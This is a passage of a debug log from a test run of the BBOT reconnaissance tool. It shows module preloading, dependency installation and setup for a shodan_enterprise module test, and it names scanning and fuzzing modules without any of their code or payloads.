modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:45:39,543 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:45:39,545 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:45:39,546 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:45:39,548 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:45:39,548 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:45:39,550 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:45:39,551 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:45:39,552 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:45:39,554 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:45:39,555 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:45:39,556 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:45:39,558 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:45:39,559 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:45:39,561 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:45:39,562 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:45:39,563 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:45:39,564 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:45:39,565 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:45:39,566 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:45:39,567 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:45:39,568 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:45:39,569 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:45:39,570 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:45:39,571 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:45:39,572 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:45:39,573 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:45:39,750 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4511611824 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:45:39,750 [DEBUG] filelock _api.py:334 Lock 4511611824 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:45:39,753 [DEBUG] filelock _api.py:364 Attempting to release lock 4511611824 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:45:39,753 [DEBUG] filelock _api.py:367 Lock 4511611824 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:45:40,952 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:45:40,952 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:45:40,953 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:45:41,091 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:45:41,652 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:45:41,652 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:45:41,653 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:45:41,653 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:45:41,870 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:45:41,872 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:45:41,988 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:45:41,988 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:45:42,043 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) -2026-02-27 21:45:42,046 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:45:42,047 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:45:42,679 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:45:42,680 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:45:45,630 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:45:45,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:45:45,631 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:45:47,669 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:45:47,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:45:47,675 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:45:47,676 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:45:47,676 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:45:47,676 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:45:47,682 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ua5bjyxgd3il85yh5cqy -2026-02-27 21:45:48,772 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:45:48,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:45:48,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:45:48,775 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:45:48,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:45:48,897 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:45:48,897 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:45:48,897 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:45:48,900 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:45:48,901 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:45:48,901 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:45:48,901 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:45:48,902 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:45:48,902 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:45:48,903 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:45:48,905 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:45:48,905 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:45:48,907 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:45:48,908 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:45:48,909 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:45:48,909 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:45:48,911 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:45:48,911 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:45:48,911 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:45:48,911 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:45:49,474 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:45:49,475 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:46:47,555 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:46:47,567 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:46:47,568 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:46:47,569 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:46:47,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:46:47,571 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:46:47,574 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:46:47,575 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:46:47,580 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:46:47,581 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:46:47,583 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:46:47,584 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:46:47,586 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:46:47,587 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:46:47,589 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:46:47,590 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:46:47,591 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:46:47,591 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:46:47,592 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:46:47,593 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:46:47,594 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:46:47,595 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:46:47,597 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:46:47,598 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:46:47,599 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:46:47,600 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:46:47,601 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:46:47,601 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:46:47,603 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:46:47,603 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:46:47,604 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:46:47,605 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:46:47,606 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:46:47,607 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:46:47,607 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:46:47,608 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:46:47,614 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:46:47,615 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:46:47,616 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:46:47,617 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:46:47,618 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:46:47,619 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:46:47,620 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:46:47,621 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:46:47,622 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:46:47,623 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:46:47,624 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:46:47,624 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:46:47,626 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:46:47,627 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:46:47,628 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:46:47,629 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:46:47,630 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:46:47,630 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:46:47,631 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:46:47,632 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:46:47,633 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:46:47,634 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:46:47,635 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:46:47,636 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:46:47,637 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:46:47,638 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:46:47,645 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:46:47,646 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:46:47,647 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:46:47,649 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:46:47,651 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:46:47,653 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:46:47,654 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:46:47,655 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:46:47,656 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:46:47,657 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:46:47,660 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:46:47,661 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:46:47,662 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:46:47,663 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:46:47,665 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:46:47,666 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:46:47,667 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:46:47,668 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:46:47,669 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:46:47,670 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:46:47,671 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:46:47,672 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:46:47,673 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:46:47,674 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:46:47,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:46:47,677 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:46:47,678 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:46:47,681 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:46:47,682 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:46:47,685 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:46:47,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:46:47,688 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:46:47,689 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:46:47,690 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:46:47,691 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:46:47,693 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:46:47,694 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:46:47,695 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:46:47,697 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:46:47,699 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:46:47,700 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:46:47,702 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:46:47,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:46:47,704 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:46:47,705 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:46:47,706 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:46:47,708 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:46:47,710 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:46:47,711 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:46:47,713 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:46:47,714 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:46:47,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:46:47,717 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:46:47,719 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:46:47,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:46:47,721 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:46:47,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:46:47,724 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:46:47,726 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:46:47,728 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:46:47,729 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:46:47,730 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:46:47,733 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:46:47,734 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:46:47,735 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:46:47,736 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:46:47,738 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:46:47,760 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:46:47,762 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:46:47,763 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:46:47,765 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:46:47,766 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:46:47,767 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:46:47,768 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:46:47,769 